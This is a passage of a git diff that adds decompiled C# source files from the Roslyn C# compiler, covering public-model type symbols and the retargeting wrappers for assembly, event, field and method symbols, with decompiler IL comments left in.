_underlying.ReducedFrom.GetPublicSymbol(); + + int ITypeParameterSymbol.Ordinal => _underlying.Ordinal; + + VarianceKind ITypeParameterSymbol.Variance => _underlying.Variance; + + bool ITypeParameterSymbol.HasReferenceTypeConstraint => _underlying.HasReferenceTypeConstraint; + + bool ITypeParameterSymbol.HasValueTypeConstraint => _underlying.HasValueTypeConstraint; + + bool ITypeParameterSymbol.HasUnmanagedTypeConstraint => _underlying.HasUnmanagedTypeConstraint; + + bool ITypeParameterSymbol.HasNotNullConstraint => _underlying.HasNotNullConstraint; + + bool ITypeParameterSymbol.HasConstructorConstraint => _underlying.HasConstructorConstraint; + + public TypeParameterSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.TypeParameterSymbol underlying, NullableAnnotation nullableAnnotation) + : base(nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + _underlying = underlying; + } + + protected override ITypeSymbol WithNullableAnnotation(NullableAnnotation nullableAnnotation) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new TypeParameterSymbol(_underlying, nullableAnnotation); + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitTypeParameter((ITypeParameterSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor) + { + return visitor.VisitTypeParameter((ITypeParameterSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitTypeParameter((ITypeParameterSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/TypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/TypeSymbol.cs new file mode 100644 index 0000000..ca274ad --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/TypeSymbol.cs @@ -0,0 +1,151 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal abstract class TypeSymbol : NamespaceOrTypeSymbol, ISymbol, IEquatable, ITypeSymbol, INamespaceOrTypeSymbol +{ + protected NullableAnnotation NullableAnnotation { get; } + + internal abstract Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol UnderlyingTypeSymbol { get; } + + NullableAnnotation ITypeSymbol.NullableAnnotation => NullableAnnotation; + + bool ISymbol.IsDefinition => (object)this == ((ISymbol)this).OriginalDefinition; + + ITypeSymbol ITypeSymbol.OriginalDefinition => UnderlyingTypeSymbol.OriginalDefinition.GetPublicSymbol(); + + INamedTypeSymbol ITypeSymbol.BaseType => UnderlyingTypeSymbol.BaseTypeNoUseSiteDiagnostics.GetPublicSymbol(); + + ImmutableArray ITypeSymbol.Interfaces => UnderlyingTypeSymbol.InterfacesNoUseSiteDiagnostics().GetPublicSymbols(); + + ImmutableArray ITypeSymbol.AllInterfaces => UnderlyingTypeSymbol.AllInterfacesNoUseSiteDiagnostics.GetPublicSymbols(); + + bool ITypeSymbol.IsUnmanagedType => !UnderlyingTypeSymbol.IsManagedTypeNoUseSiteDiagnostics; + + bool ITypeSymbol.IsReferenceType => UnderlyingTypeSymbol.IsReferenceType; + + bool ITypeSymbol.IsValueType => UnderlyingTypeSymbol.IsValueType; + + TypeKind ITypeSymbol.TypeKind => UnderlyingTypeSymbol.TypeKind; + + bool ITypeSymbol.IsTupleType => UnderlyingTypeSymbol.IsTupleType; + + bool ITypeSymbol.IsNativeIntegerType => UnderlyingTypeSymbol.IsNativeIntegerType; + + bool ITypeSymbol.IsAnonymousType => UnderlyingTypeSymbol.IsAnonymousType; + + SpecialType ITypeSymbol.SpecialType => UnderlyingTypeSymbol.SpecialType; + + bool ITypeSymbol.IsRefLikeType => UnderlyingTypeSymbol.IsRefLikeType; + + bool ITypeSymbol.IsReadOnly => UnderlyingTypeSymbol.IsReadOnly; + + bool ITypeSymbol.IsRecord + { + get + { + if (!UnderlyingTypeSymbol.IsRecord) + { + return UnderlyingTypeSymbol.IsRecordStruct; + } + return true; + } + } + + protected TypeSymbol(NullableAnnotation nullableAnnotation) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + NullableAnnotation = nullableAnnotation; + } + + protected abstract ITypeSymbol WithNullableAnnotation(NullableAnnotation nullableAnnotation); + + ITypeSymbol ITypeSymbol.WithNullableAnnotation(NullableAnnotation nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Expected O, but got Unknown + if (NullableAnnotation == nullableAnnotation) + { + return (ITypeSymbol)(object)this; + } + if (nullableAnnotation == UnderlyingTypeSymbol.DefaultNullableAnnotation) + { + return (ITypeSymbol)UnderlyingSymbol.ISymbol; + } + return WithNullableAnnotation(nullableAnnotation); + } + + bool ISymbol.Equals(ISymbol other, SymbolEqualityComparer equalityComparer) + { + return Equals(other as TypeSymbol, equalityComparer); + } + + protected bool Equals(TypeSymbol otherType, SymbolEqualityComparer equalityComparer) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (otherType == null) + { + return false; + } + if (otherType == this) + { + return true; + } + TypeCompareKind compareKind = equalityComparer.CompareKind; + if (NullableAnnotation != otherType.NullableAnnotation && (compareKind & 8) == 0 && ((compareKind & 0x10) == 0 || ((int)NullableAnnotation != 0 && (int)otherType.NullableAnnotation != 0)) && (!UnderlyingTypeSymbol.IsValueType || UnderlyingTypeSymbol.IsNullableType())) + { + return false; + } + return UnderlyingTypeSymbol.Equals(otherType.UnderlyingTypeSymbol, compareKind); + } + + ISymbol ITypeSymbol.FindImplementationForInterfaceMember(ISymbol interfaceMember) + { + if (!(interfaceMember is Symbol symbol)) + { + return null; + } + return UnderlyingTypeSymbol.FindImplementationForInterfaceMember(symbol.UnderlyingSymbol).GetPublicSymbol(); + } + + string ITypeSymbol.ToDisplayString(NullableFlowState topLevelNullability, SymbolDisplayFormat format) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SymbolDisplay.ToDisplayString((ITypeSymbol)(object)this, topLevelNullability, format); + } + + ImmutableArray ITypeSymbol.ToDisplayParts(NullableFlowState topLevelNullability, SymbolDisplayFormat format) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SymbolDisplay.ToDisplayParts((ITypeSymbol)(object)this, topLevelNullability, format); + } + + string ITypeSymbol.ToMinimalDisplayString(SemanticModel semanticModel, NullableFlowState topLevelNullability, int position, SymbolDisplayFormat format) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SymbolDisplay.ToMinimalDisplayString((ITypeSymbol)(object)this, topLevelNullability, semanticModel, position, format); + } + + ImmutableArray ITypeSymbol.ToMinimalDisplayParts(SemanticModel semanticModel, NullableFlowState topLevelNullability, int position, SymbolDisplayFormat format) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SymbolDisplay.ToMinimalDisplayParts((ITypeSymbol)(object)this, topLevelNullability, semanticModel, position, format); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetOptions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetOptions.cs new file mode 100644 index 0000000..387cf97 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetOptions.cs @@ -0,0 +1,7 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal enum RetargetOptions : byte +{ + RetargetPrimitiveTypesByName, + RetargetPrimitiveTypesByTypeCode +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingAssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingAssemblySymbol.cs new file mode 100644 index 0000000..0d0ccfc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingAssemblySymbol.cs @@ -0,0 +1,154 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingAssemblySymbol : NonMissingAssemblySymbol +{ + private readonly SourceAssemblySymbol _underlyingAssembly; + + private readonly ImmutableArray _modules; + + private ImmutableArray _noPiaResolutionAssemblies; + + private ImmutableArray _linkedReferencedAssemblies; + + private ConcurrentDictionary _noPiaUnificationMap; + + private readonly bool _isLinked; + + private ImmutableArray _lazyCustomAttributes; + + internal ConcurrentDictionary NoPiaUnificationMap => LazyInitializer.EnsureInitialized(ref _noPiaUnificationMap, () => new ConcurrentDictionary(2, 0)); + + private RetargetingModuleSymbol.RetargetingSymbolTranslator RetargetingTranslator => ((RetargetingModuleSymbol)_modules[0]).RetargetingTranslator; + + public SourceAssemblySymbol UnderlyingAssembly => _underlyingAssembly; + + public override bool IsImplicitlyDeclared => _underlyingAssembly.IsImplicitlyDeclared; + + public override AssemblyIdentity Identity => _underlyingAssembly.Identity; + + public override Version AssemblyVersionPattern => _underlyingAssembly.AssemblyVersionPattern; + + internal override ImmutableArray PublicKey => _underlyingAssembly.PublicKey; + + public override ImmutableArray Modules => _modules; + + internal override bool KeepLookingForDeclaredSpecialTypes => false; + + public override ImmutableArray Locations => _underlyingAssembly.Locations; + + internal override bool IsLinked => _isLinked; + + public override ICollection TypeNames => _underlyingAssembly.TypeNames; + + public override ICollection NamespaceNames => _underlyingAssembly.NamespaceNames; + + public override bool MightContainExtensionMethods => _underlyingAssembly.MightContainExtensionMethods; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + internal override TypeConversions TypeConversions => base.CorLibrary.TypeConversions; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => _underlyingAssembly.ObsoleteAttributeData; + + public RetargetingAssemblySymbol(SourceAssemblySymbol underlyingAssembly, bool isLinked) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + _underlyingAssembly = underlyingAssembly; + ModuleSymbol[] array = new ModuleSymbol[underlyingAssembly.Modules.Length]; + array[0] = new RetargetingModuleSymbol(this, (SourceModuleSymbol)underlyingAssembly.Modules[0]); + for (int i = 1; i < underlyingAssembly.Modules.Length; i++) + { + PEModuleSymbol pEModuleSymbol = (PEModuleSymbol)underlyingAssembly.Modules[i]; + array[i] = new PEModuleSymbol(this, pEModuleSymbol.Module, pEModuleSymbol.ImportOptions, i); + } + _modules = ImmutableArrayExtensions.AsImmutableOrNull(array); + _isLinked = isLinked; + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return _underlyingAssembly.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } + + internal override IEnumerable> GetInternalsVisibleToPublicKeys(string simpleName) + { + return _underlyingAssembly.GetInternalsVisibleToPublicKeys(simpleName); + } + + internal override IEnumerable GetInternalsVisibleToAssemblyNames() + { + return _underlyingAssembly.GetInternalsVisibleToAssemblyNames(); + } + + internal override bool AreInternalsVisibleToThisAssembly(AssemblySymbol other) + { + return _underlyingAssembly.AreInternalsVisibleToThisAssembly(other); + } + + public override ImmutableArray GetAttributes() + { + return RetargetingTranslator.GetRetargetedAttributes(_underlyingAssembly.GetAttributes(), ref _lazyCustomAttributes); + } + + internal override NamedTypeSymbol GetDeclaredSpecialType(SpecialType type) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Retargeting/RetargetingAssemblySymbol.cs", 221); + } + + internal override ImmutableArray GetNoPiaResolutionAssemblies() + { + return _noPiaResolutionAssemblies; + } + + internal override void SetNoPiaResolutionAssemblies(ImmutableArray assemblies) + { + _noPiaResolutionAssemblies = assemblies; + } + + internal override void SetLinkedReferencedAssemblies(ImmutableArray assemblies) + { + _linkedReferencedAssemblies = assemblies; + } + + internal override ImmutableArray GetLinkedReferencedAssemblies() + { + return _linkedReferencedAssemblies; + } + + internal override bool GetGuidString(out string guidString) + { + return _underlyingAssembly.GetGuidString(out guidString); + } + + internal override NamedTypeSymbol? TryLookupForwardedMetadataTypeWithCycleDetection(ref MetadataTypeName emittedName, ConsList? visitedAssemblies) + { + NamedTypeSymbol namedTypeSymbol = _underlyingAssembly.TryLookupForwardedMetadataTypeWithCycleDetection(ref emittedName, null); + if ((object)namedTypeSymbol == null) + { + return null; + } + return RetargetingTranslator.Retarget(namedTypeSymbol, RetargetOptions.RetargetPrimitiveTypesByName); + } + + internal override IEnumerable GetAllTopLevelForwardedTypes() + { + foreach (NamedTypeSymbol allTopLevelForwardedType in _underlyingAssembly.GetAllTopLevelForwardedTypes()) + { + yield return RetargetingTranslator.Retarget(allTopLevelForwardedType, RetargetOptions.RetargetPrimitiveTypesByName); + } + } + + public override AssemblyMetadata GetMetadata() + { + return _underlyingAssembly.GetMetadata(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingAttributeData.cs new file mode 100644 index 0000000..629d417 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingAttributeData.cs @@ -0,0 +1,21 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingAttributeData : SourceAttributeData +{ + internal RetargetingAttributeData(SyntaxReference applicationNode, NamedTypeSymbol attributeClass, MethodSymbol attributeConstructor, ImmutableArray constructorArguments, ImmutableArray constructorArgumentsSourceIndices, ImmutableArray> namedArguments, bool hasErrors, bool isConditionallyOmitted) + : base(applicationNode, attributeClass, attributeConstructor, constructorArguments, constructorArgumentsSourceIndices, namedArguments, hasErrors, isConditionallyOmitted) + { + } + + internal override TypeSymbol GetSystemType(Symbol targetSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + RetargetingAssemblySymbol obj = (RetargetingAssemblySymbol)(((int)targetSymbol.Kind == 2) ? targetSymbol : targetSymbol.ContainingAssembly); + TypeSymbol wellKnownType = obj.UnderlyingAssembly.DeclaringCompilation.GetWellKnownType((WellKnownType)61); + return ((RetargetingModuleSymbol)obj.Modules[0]).RetargetingTranslator.Retarget(wellKnownType, RetargetOptions.RetargetPrimitiveTypesByTypeCode); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingEventSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingEventSymbol.cs new file mode 100644 index 0000000..b3019e9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingEventSymbol.cs @@ -0,0 +1,131 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingEventSymbol : WrappedEventSymbol +{ + private readonly RetargetingModuleSymbol _retargetingModule; + + private ImmutableArray _lazyExplicitInterfaceImplementations; + + private CachedUseSiteInfo _lazyCachedUseSiteInfo = CachedUseSiteInfo.Uninitialized; + + private RetargetingModuleSymbol.RetargetingSymbolTranslator RetargetingTranslator => _retargetingModule.RetargetingTranslator; + + public override TypeWithAnnotations TypeWithAnnotations => RetargetingTranslator.Retarget(_underlyingEvent.TypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode); + + public override MethodSymbol? AddMethod + { + get + { + if ((object)_underlyingEvent.AddMethod != null) + { + return RetargetingTranslator.Retarget(_underlyingEvent.AddMethod); + } + return null; + } + } + + public override MethodSymbol? RemoveMethod + { + get + { + if ((object)_underlyingEvent.RemoveMethod != null) + { + return RetargetingTranslator.Retarget(_underlyingEvent.RemoveMethod); + } + return null; + } + } + + internal override FieldSymbol? AssociatedField + { + get + { + if ((object)_underlyingEvent.AssociatedField != null) + { + return RetargetingTranslator.Retarget(_underlyingEvent.AssociatedField); + } + return null; + } + } + + internal override bool IsExplicitInterfaceImplementation => _underlyingEvent.IsExplicitInterfaceImplementation; + + public override ImmutableArray ExplicitInterfaceImplementations + { + get + { + if (_lazyExplicitInterfaceImplementations.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyExplicitInterfaceImplementations, RetargetExplicitInterfaceImplementations(), default(ImmutableArray)); + } + return _lazyExplicitInterfaceImplementations; + } + } + + public override Symbol? ContainingSymbol => RetargetingTranslator.Retarget(_underlyingEvent.ContainingSymbol); + + public override AssemblySymbol ContainingAssembly => _retargetingModule.ContainingAssembly; + + internal override ModuleSymbol ContainingModule => _retargetingModule; + + internal override bool MustCallMethodsDirectly => _underlyingEvent.MustCallMethodsDirectly; + + internal sealed override CSharpCompilation? DeclaringCompilation => null; + + public RetargetingEventSymbol(RetargetingModuleSymbol retargetingModule, EventSymbol underlyingEvent) + : base(underlyingEvent) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + _retargetingModule = retargetingModule; + } + + private ImmutableArray RetargetExplicitInterfaceImplementations() + { + ImmutableArray explicitInterfaceImplementations = _underlyingEvent.ExplicitInterfaceImplementations; + if (explicitInterfaceImplementations.IsEmpty) + { + return explicitInterfaceImplementations; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < explicitInterfaceImplementations.Length; i++) + { + EventSymbol eventSymbol = RetargetingTranslator.Retarget(explicitInterfaceImplementations[i]); + if ((object)eventSymbol != null) + { + instance.Add(eventSymbol); + } + } + return instance.ToImmutableAndFree(); + } + + public override ImmutableArray GetAttributes() + { + return _underlyingEvent.GetAttributes(); + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return RetargetingTranslator.RetargetAttributes(_underlyingEvent.GetCustomAttributesToEmit(moduleBuilder)); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if (!_lazyCachedUseSiteInfo.IsInitialized) + { + AssemblySymbol primaryDependency = base.PrimaryDependency; + UseSiteInfo result = default(UseSiteInfo); + result._002Ector(primaryDependency); + CalculateUseSiteDiagnostic(ref result); + _lazyCachedUseSiteInfo.Initialize(primaryDependency, result); + } + return _lazyCachedUseSiteInfo.ToUseSiteInfo(base.PrimaryDependency); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingFieldSymbol.cs new file mode 100644 index 0000000..79d1d06 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingFieldSymbol.cs @@ -0,0 +1,93 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingFieldSymbol : WrappedFieldSymbol +{ + private readonly RetargetingModuleSymbol _retargetingModule; + + private ImmutableArray _lazyCustomAttributes; + + private CachedUseSiteInfo _lazyCachedUseSiteInfo = CachedUseSiteInfo.Uninitialized; + + private RetargetingModuleSymbol.RetargetingSymbolTranslator RetargetingTranslator => _retargetingModule.RetargetingTranslator; + + public RetargetingModuleSymbol RetargetingModule => _retargetingModule; + + public override Symbol ContainingSymbol => RetargetingTranslator.Retarget(_underlyingField.ContainingSymbol); + + public override RefKind RefKind => _underlyingField.RefKind; + + public override ImmutableArray RefCustomModifiers + { + get + { + bool modifiersHaveChanged; + return RetargetingTranslator.RetargetModifiers(_underlyingField.RefCustomModifiers, out modifiersHaveChanged); + } + } + + public override AssemblySymbol ContainingAssembly => _retargetingModule.ContainingAssembly; + + internal override ModuleSymbol ContainingModule => _retargetingModule; + + internal override MarshalPseudoCustomAttributeData MarshallingInformation => RetargetingTranslator.Retarget(_underlyingField.MarshallingInformation); + + public override Symbol AssociatedSymbol + { + get + { + Symbol associatedSymbol = _underlyingField.AssociatedSymbol; + if ((object)associatedSymbol != null) + { + return RetargetingTranslator.Retarget(associatedSymbol); + } + return null; + } + } + + public override int TupleElementIndex => _underlyingField.TupleElementIndex; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + public RetargetingFieldSymbol(RetargetingModuleSymbol retargetingModule, FieldSymbol underlyingField) + : base(underlyingField) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + _retargetingModule = retargetingModule; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return RetargetingTranslator.Retarget(_underlyingField.GetFieldType(fieldsBeingBound), RetargetOptions.RetargetPrimitiveTypesByTypeCode); + } + + public override ImmutableArray GetAttributes() + { + return RetargetingTranslator.GetRetargetedAttributes(_underlyingField.GetAttributes(), ref _lazyCustomAttributes); + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return RetargetingTranslator.RetargetAttributes(_underlyingField.GetCustomAttributesToEmit(moduleBuilder)); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if (!_lazyCachedUseSiteInfo.IsInitialized) + { + AssemblySymbol primaryDependency = base.PrimaryDependency; + UseSiteInfo result = default(UseSiteInfo); + result._002Ector(primaryDependency); + CalculateUseSiteDiagnostic(ref result); + _lazyCachedUseSiteInfo.Initialize(primaryDependency, result); + } + return _lazyCachedUseSiteInfo.ToUseSiteInfo(base.PrimaryDependency); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingMethodParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingMethodParameterSymbol.cs new file mode 100644 index 0000000..7f18c15 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingMethodParameterSymbol.cs @@ -0,0 +1,22 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingMethodParameterSymbol : RetargetingParameterSymbol +{ + private readonly RetargetingMethodSymbol _retargetingMethod; + + protected override RetargetingModuleSymbol RetargetingModule => _retargetingMethod.RetargetingModule; + + internal override bool IsCallerLineNumber => _underlyingParameter.IsCallerLineNumber; + + internal override bool IsCallerFilePath => _underlyingParameter.IsCallerFilePath; + + internal override bool IsCallerMemberName => _underlyingParameter.IsCallerMemberName; + + internal override int CallerArgumentExpressionParameterIndex => _underlyingParameter.CallerArgumentExpressionParameterIndex; + + public RetargetingMethodParameterSymbol(RetargetingMethodSymbol retargetingMethod, ParameterSymbol underlyingParameter) + : base(underlyingParameter) + { + _retargetingMethod = retargetingMethod; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingMethodSymbol.cs new file mode 100644 index 0000000..28d2523 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting/RetargetingMethodSymbol.cs @@ -0,0 +1,268 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Retargeting; + +internal sealed class RetargetingMethodSymbol : WrappedMethodSymbol +{ + private readonly RetargetingModuleSymbol _retargetingModule; + + private readonly MethodSymbol _underlyingMethod; + + private ImmutableArray _lazyTypeParameters; + + private ImmutableArray _lazyParameters; + + private ImmutableArray _lazyRefCustomModifiers; + + private ImmutableArray _lazyCustomAttributes; + + private ImmutableArray _lazyReturnTypeCustomAttributes; + + private ImmutableArray _lazyExplicitInterfaceImplementations; + + private CachedUseSiteInfo _lazyCachedUseSiteInfo = CachedUseSiteInfo.Uninitialized; + + private TypeWithAnnotations.Boxed _lazyReturnType; + + private UnmanagedCallersOnlyAttributeData _lazyUnmanagedAttributeData = UnmanagedCallersOnlyAttributeData.Uninitialized; + + private RetargetingModuleSymbol.RetargetingSymbolTranslator RetargetingTranslator => _retargetingModule.RetargetingTranslator; + + public RetargetingModuleSymbol RetargetingModule => _retargetingModule; + + public override MethodSymbol UnderlyingMethod => _underlyingMethod; + + public override ImmutableArray TypeParameters + { + get + { + if (_lazyTypeParameters.IsDefault) + { + if (!IsGenericMethod) + { + _lazyTypeParameters = ImmutableArray.Empty; + } + else + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyTypeParameters, RetargetingTranslator.Retarget(_underlyingMethod.TypeParameters), default(ImmutableArray)); + } + } + return _lazyTypeParameters; + } + } + + public override ImmutableArray TypeArgumentsWithAnnotations + { + get + { + if (IsGenericMethod) + { + return GetTypeParametersAsTypeArguments(); + } + return ImmutableArray.Empty; + } + } + + public override TypeWithAnnotations ReturnTypeWithAnnotations + { + get + { + if (_lazyReturnType == null) + { + Interlocked.CompareExchange(ref _lazyReturnType, new TypeWithAnnotations.Boxed(RetargetingTranslator.Retarget(_underlyingMethod.ReturnTypeWithAnnotations, RetargetOptions.RetargetPrimitiveTypesByTypeCode, ContainingType)), null); + } + return _lazyReturnType.Value; + } + } + + public override ImmutableArray RefCustomModifiers => RetargetingTranslator.RetargetModifiers(_underlyingMethod.RefCustomModifiers, ref _lazyRefCustomModifiers); + + public override ImmutableArray Parameters + { + get + { + if (_lazyParameters.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyParameters, RetargetParameters()); + } + return _lazyParameters; + } + } + + public override Symbol AssociatedSymbol + { + get + { + Symbol associatedSymbol = _underlyingMethod.AssociatedSymbol; + if ((object)associatedSymbol != null) + { + return RetargetingTranslator.Retarget(associatedSymbol); + } + return null; + } + } + + public override Symbol ContainingSymbol => RetargetingTranslator.Retarget(_underlyingMethod.ContainingSymbol); + + internal override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => _retargetingModule.RetargetingTranslator.Retarget(_underlyingMethod.ReturnValueMarshallingInformation); + + public override AssemblySymbol ContainingAssembly => _retargetingModule.ContainingAssembly; + + internal override ModuleSymbol ContainingModule => _retargetingModule; + + internal override bool IsExplicitInterfaceImplementation => _underlyingMethod.IsExplicitInterfaceImplementation; + + public override ImmutableArray ExplicitInterfaceImplementations + { + get + { + if (_lazyExplicitInterfaceImplementations.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyExplicitInterfaceImplementations, RetargetExplicitInterfaceImplementations(), default(ImmutableArray)); + } + return _lazyExplicitInterfaceImplementations; + } + } + + internal MethodSymbol ExplicitlyOverriddenClassMethod + { + get + { + if (!_underlyingMethod.RequiresExplicitOverride(out var _)) + { + return null; + } + return RetargetingTranslator.Retarget(_underlyingMethod.OverriddenMethod, MemberSignatureComparer.RetargetedExplicitImplementationComparer); + } + } + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + internal override bool GenerateDebugInfo => false; + + public RetargetingMethodSymbol(RetargetingModuleSymbol retargetingModule, MethodSymbol underlyingMethod) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + _retargetingModule = retargetingModule; + _underlyingMethod = underlyingMethod; + } + + 